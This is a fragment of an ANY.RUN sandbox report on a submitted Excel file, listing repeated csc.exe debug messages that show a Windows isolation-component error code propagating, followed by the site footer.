Process
Message
csc.exe
*** HR originated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cppĒ
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cppĒ
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
Interactive malware hunting service ANY.RUN
© 2017-2026 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
doc_SPA_(25)_(2019-03-18 n._776).xls